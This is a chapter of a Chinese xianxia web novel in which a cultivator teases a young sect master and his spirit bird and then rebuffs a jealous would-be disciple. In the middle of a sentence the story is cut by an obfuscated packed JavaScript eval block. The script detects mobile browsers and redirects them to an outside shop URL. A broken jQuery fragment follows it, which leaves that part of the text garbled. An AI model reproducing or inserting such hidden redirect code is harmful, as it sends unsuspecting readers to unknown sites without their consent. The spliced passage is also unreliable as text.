得到鱼采芹的传音,盛玉书知道她已经到了蜀中,但是遇见了一些事,可能晚半个时辰才到圣火教,就先让皮秋英飞过来。
传音术是修仙界的基础法术,却十分有用,传音术的范围根据施术者的灵力强弱有关,但如果距离太远,也可借用传音石这样的法器来使用传音术。
盛玉书本以为鱼采芹会安排她的内门弟子过来,没想到她会亲自来一趟。鱼采芹一向不是很喜欢离开她的实沈宫,倒不是她不爱与人接触,只是因为她更喜欢在实沈宫里炼制法器,或者养一些仙草,所以即便是在华胥天中,都很少见到她的身影。
盛玉书来到圣火教二门前的广场上,寻了一处黄角树下等着自己的小鹦鹉皮秋英,正巧这时顾渊抱着初七悄悄摸摸从广场边上的角门钻了出来。
顾渊没有看见旁边在等鸟的盛玉书,他出了角门后,就把初七放下,在悄摸地把角门关上。顾渊坐在一旁的石墩子上,他缓了口气,对初七说道:“这圣火教我是呆不下去了,我要不要去镇上住两天?”
初七道:“估计镇上的人也知道了。”
“都怪那个岁星上仙,非要说什么‘少主是在认真考虑是否拜在我门下之事’。”顾渊先是故作文雅地学着盛玉书说话时的样子,然后又愤愤道,“还有那四饼长老就是大喇叭,如今整个圣火教都知道这件事,就连小六那个小屁孩都跑过来对我说什么‘过了这村就没这个店了’!谁稀罕这个店啊!”
“抱歉,是我思考不周。”
“操!你啥时候来的?”盛玉书的声音突然响起,直接吓了顾渊一跳,他忙站起身来。当他下意识地口不择言说了脏话后,才反应过来他说脏话的对象是盛玉书,连忙想要改口,“啊……那个……上仙,我不是……我……那个……算了……”
顾渊张着嘴,发现自己没有办法很好的解释那个语气字,只得叹了口气,转移话题道:“岁星上仙为何在此?”
“采芹来消息了,说已经到了蜀中,但她还有些事,让皮秋英先回来,我便在这里等着我家那只小鹦鹉。”盛玉书不以为意,笑得依旧如谦谦君子,丝毫没有因为顾渊那个一个“操”字而生气。
对比慌乱的顾渊,盛玉书更是如青竹般儒雅淡然,初七都忍不住说道:“你如果拜了盛玉书为师,在学习法术之前,还是先学习气质和涵养吧。”
顾渊没好气地白了它一眼。
初七摇着头,继续说道:“不过看样子,你应该学不会。”
“你和谁一头的?”顾渊“啧”了一声,咬牙威胁道,“回去不给你吃花生了,还有梨子。”
这威胁对于初七来说明显有用,它大叫道:“小气!”
盛玉书笑看着顾渊与初七,起初他以为顾渊和初七是契约关系,毕竟修士与高阶灵兽递交契约,御灵兽为使令,在修仙界也算是常见的事。不过他在给初七疗伤时,没发现它不是使令,也没有被定下过任何契约。
而如今看来,他们之间似乎有比契约更深的羁绊存在。他见初七鼓着气,还在为花生和梨子与顾渊争论着,盛玉书不由地玩心大起,想要逗一逗它,就哄着说道:“小鸡,不如来我们华胥天,别的不说,你的花生和梨子管饱。”
“这可不行!”盛玉书这话一开口,顾渊可不干了,他直接宣誓对初七的主权,“你都撬我爹的墙角要挖走我,现在还要撬我的墙角不成!”
“你不是说它只是普通的雉鸡吗?怎么这么紧张?”盛玉书笑得有礼,他可是记得,曾经顾渊是理直气壮地对他说,初七只是一只普通的野雉鸡。
当时顾渊只想着不能让盛玉书知道初七是离朱鸟,就胡诌着说它是野雉鸡,可是过后一想,盛玉书给初七疗伤,怎么可能看不出它是离朱鸟?
只是这些日子盛玉书没有在问自己,顾渊也故作不知,今日盛玉书开口打趣,顾渊不由地警惕起来。
“抓高阶灵兽的委托不是我接的,少主不用这样提防着我。”盛玉书知道顾渊在提防,便解释道。
他身上有很浓的书卷气,笑得如清风,一袭淡青色的圆领袍子,更衬的他气质儒雅,他微微抬起眼眸,含笑说道:“更何况我要带着它,少主也是拦不住的。”还是温柔的声音,却在说出“拦不住”这个三个字时,带着些许凌厉。
顾渊面色有些微僵,双手紧紧掐着掌心,他自然知道盛玉书说的是真的——盛玉书若是真要带走初七,他肯定是拦不住,也不敢拦。
即便不是盛玉书,只是普通的华胥天弟子来带走初七,他也是不敢拦。
毕竟圣火教的依仗就是华胥天。
盛玉书看向顾渊,温声道:“少主可明白?”
顾渊不语,却已心中明白,盛玉书说这句话是在敲打自己,他若留在圣火教,那么他连这只离朱鸟都护不住。
“呵呵……”初七陡然笑了起来,它抬起头,觑着眼,斜睨着盛玉书,“顾渊那三脚猫的修为是拦不住你,但是你也未必能抓住我,区区化神期的修士,也未免太张狂了。”
初七话一出口,盛玉书脸上的微笑不变,而顾渊震惊了!
刚才初七在说什么?
区区化神期的修士!
“不是,你在乱说什么?”顾渊压低声音对初七说道,“什么区区化神期!要知道这化神期可是离飞升不远了?”
“那不也还是没飞升吗?”初七也压低声音,“你先别和我说话,我在维持我的气场。我就是要看不起他,鄙视他,谁叫他看不起你的!”
顾渊和初七都是压着声音说话,但是盛玉书就在旁边,不足一丈的距离。即便是他不在旁边,他现在的境界,已经是耳聪目明,所以他将这一人一鸡的对话听得很清楚。
就刚才初七那句“也未免太张狂了”,的确是镇到他了。一瞬间他感觉到了一股强大的神兽神威,但是很快就消失了,让他都以为只是自己的错觉。
鸟类的神兽不少,最后都归于九天之上,最近时间的记载也只有苍南国的史书上,在五百年前苍离引来的那只鹓雏。
盛玉书看着正在和顾渊小声说话的初七,脸上那得意的样子,还有瞧不起自己的小眼神。发现自己在看着他们,初七又眯缝着眼睛,满眼都是赤/裸/裸的鄙视。
这欠欠的样子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17710725|208415||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,的确不像是神兽。
初七见盛玉书还在看着自己,撇着嘴道:“看什么看,没见过背后说人吗?”
作为被初七“背后说人”的主角,盛玉书的涵养很好,他歉意道:“是我失礼了。”
初七给了他一个原谅他的眼神,随后又望着顾渊,明黄色的眼睛亮晶晶地在眨着,睫毛扑闪扑闪的,像是在说——我厉害吧。
顾渊扶着额,一边心里想着,这岁星上仙的脾气是真不错,一边敷衍着道:“厉害厉害,你最厉害。”
盛玉书看着大门的方向,微微蹙起眉,脸上那和煦的笑容不在,取而代之的是疑惑和担心。
顾渊和初七对视一眼,顾渊问道:“岁星上仙怎么了?”
“算着时间,这个时候皮秋英应该到了。”盛玉书眼睛里流露出一丝担忧,正想着要不要去找皮秋英,就听见一声“上仙”。
李长贵鬼鬼祟祟地从大门外冒出一个头,当他看见盛玉书后,难掩欣喜,连忙跑到了盛玉书跟前。
可是在他看见盛玉书身旁站着的顾渊后,脸上的欣喜顿住,他瞪向顾渊的眼中一片阴鸷,还有藏也藏不住的嫉恨。
凭什么他能得到岁星上仙的青睐!
凭什么!
这样阴狠的表情让盛玉书不喜,他不动声色地退了一步。
李长贵虽然瞪着顾渊,却也关注着盛玉书这边,见他退了一步,李长贵连忙又陪着笑脸上前。
只不过他眼中的阴狠还未来得及收起来,又是一脸谄媚。
“上仙,您也收为我徒吧。”李长贵作势就要下跪拜师。
李长贵突然的举动让盛玉书有些猝不及防,眼瞅着李长贵就要跪在他面前时,盛玉书一点脚尖,转身来到了李长贵的身后。
于是乎,李长贵就直愣愣地跪在了顾渊面前。
见状,顾渊笑了,他道:“哎哟,这大礼我可受不起。”
李长贵见自己跪了顾渊,顿时怒了,本想破口大骂,又想起盛玉书在这里,他硬生生地将骂的人话憋了回去,连忙起身要去拉盛玉书的袖子。
盛玉书抬起手,瞬间一道结界挡在了李长贵的面前。
他难得冷下了脸,对李长贵道:“有事就说是,莫要拉拉扯扯。”
李长贵要开口,还未说话,盛玉书又道:“拜师的事,免谈。”
李长贵愣住,他还想伸手去抓盛玉书的衣袖,却被那结界挡住。李长贵心有不甘,他质问道:“为什么顾渊可以我就不行?上仙您不是夸我很努力吗?”
有戏看了!
顾渊见初七抱在怀中,自己坐在石墩子上,伸着脖子看戏。
同样的,初七也是伸长了脖子,一脸看戏的表情。
见这一人一鸡都是一副吃瓜看戏不嫌事大的表情,盛玉书只觉得无奈又好笑。
盛玉书不禁微微勾起了唇,李长贵却认为他是在对着自己笑,立马也笑了起来,他双手拍着面前的结界,连忙说道:“我就知道上仙刚才是开玩笑,明明上仙都说了我很努力,这就说明上仙很欣赏我!上仙您放心,我一定会成为您最得意的弟子!”